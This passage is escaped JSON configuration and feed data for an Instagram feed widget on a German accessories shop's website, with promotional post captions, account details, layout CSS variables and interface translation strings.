13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/5004beae-0998-11f1-9ebf-ee075eeb55c9\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/5004beae-0998-11f1-9ebf-ee075eeb55c9\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DUvDdXDiFC9\/\",\"caption\":\"Kennst du dieses Gefühl, wenn dein Portemonnaie plötzlich nicht da ist? 😳\\n\\nIn Europa gehen jedes Jahr Tausende Wertsachen verloren oder werden gestohlen. Ein Moment der Unachtsamkeit – und alles ist weg.\\n\\nDamit ist jetzt Schluss. 🔒\\n\\nUnsere ultra-flache Tracker-Karte passt perfekt in dein Portemonnaie 👛 – und natürlich auch in Rucksack 🎒 oder Tasche 👜.\\n\\n✔ Kompatibel mit Apple \u0026 Android 📱\\n✔ Ortung per Karten-App 🗺️\\n✔ Lauter Signalton zum schnellen Wiederfinden 🔔\\n✔ So dünn wie eine Karte – kein Extra-Gewicht\\n\\nMehr Sicherheit. Weniger Stress. 🙌\\nWeil du Besseres zu tun hast, als zu suchen.\\n\\n#Tracker #SmartWallet #SicherheitImAlltag #AppleFindMy\",\"comment_count\":13,\"like_count\":25,\"timestamp\":\"2026-02-14T10:37:21Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b856e3a2-fa3e-11f0-8569-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b856e3a2-fa3e-11f0-8569-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b856e3a2-fa3e-11f0-8569-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iSXbCO0u\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":22,\"like_count\":9,\"timestamp\":\"2026-01-25T10:26:08Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b8576578-fa3e-11f0-856a-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b8576578-fa3e-11f0-856a-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b8576578-fa3e-11f0-856a-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iJs6iAni\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":61,\"like_count\":25,\"timestamp\":\"2026-01-25T10:24:56Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b857f100-fa3e-11f0-856b-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b857f100-fa3e-11f0-856b-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b857f100-fa3e-11f0-856b-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iC8HCO_t\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":10,\"like_count\":7,\"timestamp\":\"2026-01-25T10:24:23Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"47a43b74-f161-11f0-8124-b680ca4f1439\",\"media_type\":\"CAROUSEL_ALBUM\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/media\",\"thumbnail_url\":\"\",\"permalink\":\"https:\/\/www.instagram.com\/p\/DTevtPEiN_W\/\",\"caption\":\"🚨 NEW DROP 🚨\\nUnser Essential Belt ist jetzt live ✨\\nErhältlich in vielen verschiedenen Farben 🎨\\nDas perfekte Essential für jeden Look – clean, zeitlos \u0026 vielseitig 🤍\\nLimitiert verfügbar, also schnell sein ⏳\\nJetzt auf unserer Webseite sichern 🔗\\n\\n#essentialbelt #newdrop #startup #accessories #viral\",\"comment_count\":19,\"like_count\":14,\"timestamp\":\"2026-01-14T06:05:00Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\",\"carousel\":[{\"id\":\"18309573820250135\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/18309573820250135\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"},{\"id\":\"17990029121917386\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/17990029121917386\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"},{\"id\":\"18191835031337830\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/18191835031337830\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"}]}],\"next_cursor\":\"\",\"accounts\":{\"3c5536d7-4a69-11ef-8301-a2887498cb27\":{\"id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"internal_id\":\"17841440251383097\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"social_type\":\"InstagramBusiness\",\"connect_status\":true,\"username\":\"essentialbag.de\",\"avatar\":\"https:\/\/scontent-iad3-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=1\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=lC-mjrL3WAoQ7kNvwGmPVUA\u0026_nc_oc=AdkOLd0zOLQGrC4sv_dSE3P__T6VSJCUghumtFbieZDw0_WzAl6dfhpNjGqWkf79CHk\u0026_nc_zt=23\u0026_nc_ht=scontent-iad3-1.xx\u0026edm=AL-3X8kEAAAA\u0026oh=00_AfzA0gMtJ0H3XjqDuPGDktFbf_gDeKlxt6d7WnFb4mS_0g\u0026oe=69B04EF3\",\"gcs_avatar\":\"\",\"biography\":\"Accessoires, die deinen Alltag leichter machen \\nDE Start-up, Gründer @marvinmoik 🇩🇪\\nTeste es risikofrei für 60 Tage ⬇️\",\"followers_count\":19320,\"follows_count\":132,\"media_count\":50}},\"sources\":{\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\":{\"id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\",\"name\":\"Source 01\",\"total_items\":253,\"last_sync\":\"0001-01-01T00:00:00Z\",\"source_type\":\"ProfileSelf\"}},\"widget_display\": { \"display\": true, \"hide_watermark\": false }}","block_ids":["AK0hEc2R3ZUVuZ1ovM__socialwidget_instagram_feed_base_widget_KQYWDD","AM1AxUU9Mb2dlNlFYe__socialwidget_instagram_feed_base_widget_fp4bYw","AMlVVd20xOGtpZnp2d__socialwidget_instagram_feed_base_widget_4Uf3kb","AODhFMHF2STJEeDg1Q__socialwidget_instagram_feed_base_widget_Vw9WzU","ARlJkMzM3YTFBbEk4S__socialwidget_instagram_feed_base_widget_Vw9WzU","ASzhPdHdsV2FCUkhrc__socialwidget_instagram_feed_base_widget_RhBmEp","ATFhndGlodzBQbmQ0U__socialwidget_instagram_feed_base_widget_RhBmEp","ATFlTcXRCTm9WRjZzR__socialwidget_instagram_feed_base_widget_Vw9WzU","ATWg1UkUwMkp1d0NaR__socialwidget_instagram_feed_base_widget_Vw9WzU","ATlRpOUxSVWRCTWJHY__socialwidget_instagram_feed_base_widget_Vw9WzU","AVGRzRUhrUnVnYzQxM__socialwidget_instagram_feed_base_widget_Vw9WzU","AVkJMN0xGZ2NJV3ZIR__socialwidget_instagram_feed_base_widget_6XWiAV","AWUJJbnh4aWdhTUxWY__socialwidget_instagram_feed_base_widget_fp4bYw","AYUdiSlpwWVp2Mk1YR__socialwidget_instagram_feed_base_widget_afMQGw","AYlVKaVZUNG0zRVR2M__socialwidget_instafeed_base_widget_Un6mij","AZGF0TW8xdk9RNW1OM__socialwidget_instagram_feed_base_widget_fp4bYw","AZWZseklaeEFVVTdSN__socialwidget_instagram_feed_base_widget_6XWiAV","AZnVBL0FIR2dQRUpNc__socialwidget_instagram_feed_base_widget_nUepkr","Ac2t2VDdhQ0pkbGdDV__socialwidget_instagram_feed_base_widget_fp4bYw","Ac3pVSWVBOW9kZVdIR__socialwidget_instagram_feed_base_widget_f4QFdV","AeHJEeG5lSkN2UnpVY__socialwidget_instagram_feed_base_widget_gzbYkM","AeXlnb2Zqdml5dU1XS__socialwidget_instagram_feed_base_widget_Vw9WzU","AemhHNWFBNGU4L005U__socialwidget_instagram_feed_base_widget_rYJNfB","socialwidget_instagram_feed_base_widget_4Uf3kb","socialwidget_instagram_feed_base_widget_6XWiAV","socialwidget_instagram_feed_base_widget_79W9jJ","socialwidget_instagram_feed_base_widget_AHmhdP","socialwidget_instagram_feed_base_widget_KQYWDD","socialwidget_instagram_feed_base_widget_RhBmEp","socialwidget_instagram_feed_base_widget_Vw9WzU","socialwidget_instagram_feed_base_widget_afMQGw","socialwidget_instagram_feed_base_widget_f4QFdV","socialwidget_instagram_feed_base_widget_fGreD9","socialwidget_instagram_feed_base_widget_fp4bYw","socialwidget_instagram_feed_base_widget_gzbYkM","socialwidget_instagram_feed_base_widget_nUepkr","socialwidget_instagram_feed_base_widget_rYJNfB","socialwidget_instagram_feed_base_widget_x7qDEg"],"widget_id":"e4a067a9-4a69-11ef-ac30-c60d6691c167"}],"mobile":[{"widget":"{\"status\":true,\"pricing_plan\":\"Basic\",\"widget_id\":\"e4a067a9-4a69-11ef-ac30-c60d6691c167\",\"settings\":{\"install_type\":\"auto\",\"page_name\":\"Home page\",\"page_custom_element\":\"\",\"page_custom_position\":\"\",\"layout_background_type\":\"color\",\"template_id\":4,\"display_layout\":\"slider\",\"item_no_of_rows\":10,\"item_no_of_columns\":5,\"is_show_pagination\":false,\"is_show_arrow\":false,\"is_enable_max_width\":false,\"is_enable_load_more_btn\":true,\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_enable_heading_title\":true,\"heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"is_enable_heading_description\":true,\"heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"is_enable_item_hover_effect\":true,\"item_no_of_slider\":5,\"item_no_of_photo\":10,\"auto_play_slider\":true,\"auto_play_duration\":3,\"is_enable_item_caption\":true,\"is_enable_item_likes_count\":false,\"is_enable_item_date\":true,\"on_image_click\":\"popup\",\"on_image_click_target_link\":\"_self\",\"is_enable_popup_user_profile\":true,\"is_enable_popup_follow_btn\":true,\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_enable_popup_caption\":true,\"is_enable_popup_likes_count\":false,\"is_enable_popup_comments_count\":false,\"is_enable_popup_date\":true,\"display_product_item\":\"vertical\",\"cta_btn_link\":\"_self\",\"var_css\":{\"--sw-layout-margin-top\":\"0px\",\"--sw-layout-margin-bottom\":\"0px\",\"--sw-layout-padding-top\":\"0px\",\"--sw-layout-padding-bottom\":\"0px\",\"--sw-layout-padding-left\":\"0px\",\"--sw-layout-padding-right\":\"0px\",\"--sw-layout-max-width\":\"1200px\",\"--sw-layout-background-color\":\"rgba(255, 255, 255, 1)\",\"--sw-layout-background-image\":\"\",\"--sw-layout-background-size\":\"cover\",\"--sw-layout-background-repeat\":\"no\",\"--sw-layout-background-position-x\":\"center\",\"--sw-layout-background-position-y\":\"middle\",\"--sw-load-more-btn-font-size\":\"18px\",\"--sw-load-more-btn-background-color\":\"#FFFFFF\",\"--sw-load-more-btn-align\":\"center\",\"--sw-load-more-btn-font-weight\"
13580:\"normal\",\"--sw-load-more-btn-color\":\"#000000\",\"--sw-heading-title-font-size\":\"18px\",\"--sw-heading-title-text-align\":\"center\",\"--sw-heading-title-font-weight\":\"normal\",\"--sw-heading-title-color\":\"#000000\",\"--sw-heading-description-font-size\":\"14px\",\"--sw-heading-description-text-align\":\"center\",\"--sw-heading-description-font-weight\":\"normal\",\"--sw-heading-description-color\":\"#000000\",\"--sw-item-border-radius\":\"3px\",\"--sw-item-gutter\":\"2px\",\"--sw-popup-follow-btn-background-color\":\"#252627\",\"--sw-popup-follow-btn-color\":\"#000000\",\"--sw-popup-follow-btn-text-align\":\"center\",\"--sw-popup-follow-btn-font-size\":\"15px\",\"--sw-popup-follow-btn-font-weight\":\"normal\",\"--sw-hotspot-color\":\"#FFFFFF\",\"--sw-hotspot-hover-color\":\"#252627\",\"--sw-cta-btn-color\":\"#252627\",\"--sw-cta-btn-text-color\":\"#FFFFFF\",\"--sw-hover-font-weight\":\"normal\",\"--sw-hover-text-align\":\"center\",\"--sw-hover-font-size\":\"15px\",\"--sw-hover-color\":\"#ffffff\",\"--sw-hover-background-color\":\"rgba(37, 38, 39, 0.6)\",\"--sw-layout-background-size-custom-width\":100,\"--sw-layout-background-size-custom-height\":100,\"--sw-layout-pagination-color\":\"#A7A7A7\",\"--sw-layout-arrow-color\":\"#A7A7A7\",\"--sw-layout-background-size-local\":\"cover\"},\"mobile_template_id\":4,\"mobile_display_layout\":\"slider\",\"mobile_item_no_of_rows\":10,\"mobile_item_no_of_columns\":5,\"mobile_is_show_pagination\":false,\"mobile_is_show_arrow\":false,\"mobile_is_enable_load_more_btn\":true,\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_max_width\":false,\"mobile_layout_background_type\":\"color\",\"mobile_is_enable_heading_title\":true,\"mobile_heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_is_enable_heading_description\":true,\"mobile_heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_is_enable_item_hover_effect\":true,\"mobile_item_no_of_slider\":2,\"mobile_auto_play_slider\":true,\"mobile_auto_play_duration\":3,\"mobile_is_enable_item_caption\":true,\"mobile_is_enable_item_likes_count\":false,\"mobile_is_enable_item_comments_count\":false,\"mobile_is_enable_item_date\":true,\"mobile_on_image_click\":\"popup\",\"mobile_on_image_click_target_link\":\"_self\",\"mobile_is_enable_popup_user_profile\":true,\"mobile_is_enable_popup_follow_btn\":true,\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_popup_caption\":true,\"mobile_is_enable_popup_likes_count\":false,\"mobile_is_enable_popup_comments_count\":false,\"mobile_is_enable_popup_date\":true,\"mobile_display_product_item\":\"vertical\",\"mobile_cta_btn_link\":\"_self\",\"mobile_var_css\":{\"--sw-layout-margin-top\":\"0px\",\"--sw-layout-margin-bottom\":\"0px\",\"--sw-layout-padding-top\":\"0px\",\"--sw-layout-padding-bottom\":\"0px\",\"--sw-layout-padding-left\":\"0px\",\"--sw-layout-padding-right\":\"0px\",\"--sw-layout-max-width\":\"1200px\",\"--sw-layout-background-color\":\"rgba(255, 255, 255, 1)\",\"--sw-layout-background-image\":\"\",\"--sw-layout-background-size\":\"cover\",\"--sw-layout-background-repeat\":\"no\",\"--sw-layout-background-position-x\":\"center\",\"--sw-layout-background-position-y\":\"middle\",\"--sw-load-more-btn-font-size\":\"18px\",\"--sw-load-more-btn-background-color\":\"#FFFFFF\",\"--sw-load-more-btn-align\":\"center\",\"--sw-load-more-btn-font-weight\"
13580:\"normal\",\"--sw-load-more-btn-color\":\"#000000\",\"--sw-heading-title-font-size\":\"18px\",\"--sw-heading-title-text-align\":\"center\",\"--sw-heading-title-font-weight\":\"normal\",\"--sw-heading-title-color\":\"#000000\",\"--sw-heading-description-font-size\":\"14px\",\"--sw-heading-description-text-align\":\"center\",\"--sw-heading-description-font-weight\":\"normal\",\"--sw-heading-description-color\":\"#000000\",\"--sw-item-border-radius\":\"3px\",\"--sw-item-gutter\":\"1px\",\"--sw-popup-follow-btn-background-color\":\"#252627\",\"--sw-popup-follow-btn-color\":\"#000000\",\"--sw-popup-follow-btn-text-align\":\"center\",\"--sw-popup-follow-btn-font-size\":\"15px\",\"--sw-popup-follow-btn-font-weight\":\"normal\",\"--sw-hotspot-color\":\"#FFFFFF\",\"--sw-hotspot-hover-color\":\"#252627\",\"--sw-cta-btn-color\":\"#252627\",\"--sw-cta-btn-text-color\":\"#FFFFFF\",\"--sw-hover-font-weight\":\"normal\",\"--sw-hover-text-align\":\"center\",\"--sw-hover-font-size\":\"15px\",\"--sw-hover-color\":\"#ffffff\",\"--sw-hover-background-color\":\"rgba(37, 38, 39, 0.6)\",\"--sw-layout-background-size-custom-width\":100,\"--sw-layout-background-size-custom-height\":100,\"--sw-layout-pagination-color\":\"#A7A7A7\",\"--sw-layout-arrow-color\":\"#A7A7A7\",\"--sw-layout-background-size-local\":\"cover\"},\"popup_user_profile_click_target_link\":\"_self\",\"mobile_popup_user_profile_click_target_link\":\"_self\",\"mobile_item_no_of_photo\":10,\"is_enable_instagram_logo\":false,\"mobile_is_enable_instagram_logo\":false,\"heading_type\":\"basic\",\"heading_social_account_id\":\"\",\"mobile_heading_type\":\"basic\",\"mobile_heading_social_account_id\":\"\",\"is_enable_heading_follow_btn\":true,\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_heading_follow_btn\":true,\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_show_item_cart\":true,\"mobile_is_show_item_cart\":true,\"hotspot_target_link\":\"_blank\",\"mobile_hotspot_target_link\":\"_blank\",\"is_enable_popup_view_on_instagram\":true,\"mobile_is_enable_popup_view_on_instagram\":true,\"popup_view_on_instagram_target_link\":\"_self\",\"mobile_popup_view_on_instagram_target_link\":\"_self\",\"is_enable_item_comments_count\":false,\"heading_social_account\":{\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"instagram_type\":\"InstagramBusiness\",\"username\":\"essentialbag.de\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"avatar\":\"https:\/\/scontent-ord5-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=100\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=zk1czt8sn00Q7kNvgFBUE41\u0026_nc_ht=scontent-ord5-1.xx\u0026edm=AGaHXAAEAAAA\u0026oh=00_AYDodIZZsB2EhAQEJPy1N_leETK2aSvvvIfzwYBeFP7KEA\u0026oe=66A803B3\",\"biography\":\"Accessoires, die deinen Alltag leichter machen 🚀\\nStart-up, Gründer @marvinmoik 🇩🇪\\nTeste uns risikofrei für 60 Tage ⬇️\",\"followers_count\":1050,\"follows_count\":1050,\"media_count\":118,\"gcs_avatar\":\"\"},\"mobile_heading_social_account\":{\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"instagram_type\":\"InstagramBusiness\",\"username\":\"essentialbag.de\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"avatar\":\"https:\/\/scontent-ord5-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=100\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=zk1czt8sn00Q7kNvgFBUE41\u0026_nc_ht=scontent-ord5-1.xx\u0026edm=AGaHXAAEAAAA\u0026oh=00_AYDodIZZsB2EhAQEJPy1N_leETK2aSvvvIfzwYBeFP7KEA\u0026oe=66A803B3\",\"biography\":\"Accessoires, die deinen Alltag leichter machen 🚀\\nStart-up, Gründer @marvinmoik 🇩🇪\\nTeste uns risikofrei für 60 Tage ⬇️\",\"followers_count\":1050,\"follows_count\":1050,\"media_count\":118,\"gcs_avatar\":\"\"},\"currency_symbol\":\"€\",\"currency_code\":\"EUR\"},\"translations\":{\"de\":{\"static\":{\"a_few_hours_ago\":\"Vor ein paar Stunden\",\"a_few_minutes_ago\":\"Vor ein paar Minuten\",\"add_product_success\":\"Produkt erfolgreich in Ihren Warenkorb gelegt\",\"april\":\"April\",\"august\":\"August\",\"comment\":\"Kommentar\",\"comments\":\"Bemerkungen\",\"december\":\"Dezember\",\"february\":\"Februar\",\"follower\":\"Anhänger\",\"followers\":\"Anhänger\",\"following\":\"Folge\",\"followings\":\"Folgen\",\"january\":\"Januar\",\"july\":\"Juli\",\"june\":\"Juni\",\"just_now\":\"Grade eben\",\"like\":\"Mögen\",\"likes\":\"Likes\",\"march\":\"Marsch\",\"may\":\"Kann\",\"november\":\"November\",\"october\":\"Oktober\",\"post\":\"Post\",\"posts\":\"Beiträge\",\"september\":\"September\",\"two_days_ago\":\"Vor 2 Tagen\",\"view_cart\":\"WARENKORB ANSEHEN\",\"view_on_instagram\":\"Auf Instagram anzeigen\",\"view_product\":\"Produkte anzeigen\",\"yesterday\":\"Gestern\"},\"dynamic\":{\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eZeig mehr\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_title\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eInstagram\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"heading_description\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\u003e@\u003c\/span\u003e\u003ca href=\\\"http:\/\/essentialbag.de\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\u003eessentialbag.de\u003c\/span\u003e\u003c\/a\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eZeig mehr\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_title\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eInstagram\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"mobile_heading_description\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\[email protected]\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"cta_btn_text_detail_self\":\"DETAIL\",\"cta_btn_text_detail_blank\":\"DETAIL\",\"cta_btn_text_checkout\":\"KAUFEN\",\"cta_btn_text_add_to_cart\":\"WAGEN\",\"mobile_cta_btn_text_detail_self\":\"DETAIL\",\"mobile_cta_btn_text_detail_blank\":\"DETAIL\",\"mobile_cta_btn_text_checkout\":\"KAUFEN\",\"mobile_cta_btn_text_add_to_cart\":\"WAGEN\"}},\"en\":{\"static\":{\"a_few_hours_ago\":\"A few hours ago\",\"a_few_minutes_ago\":\"A few minutes ago\",\"add_product_success\":\"Product successfully added to your 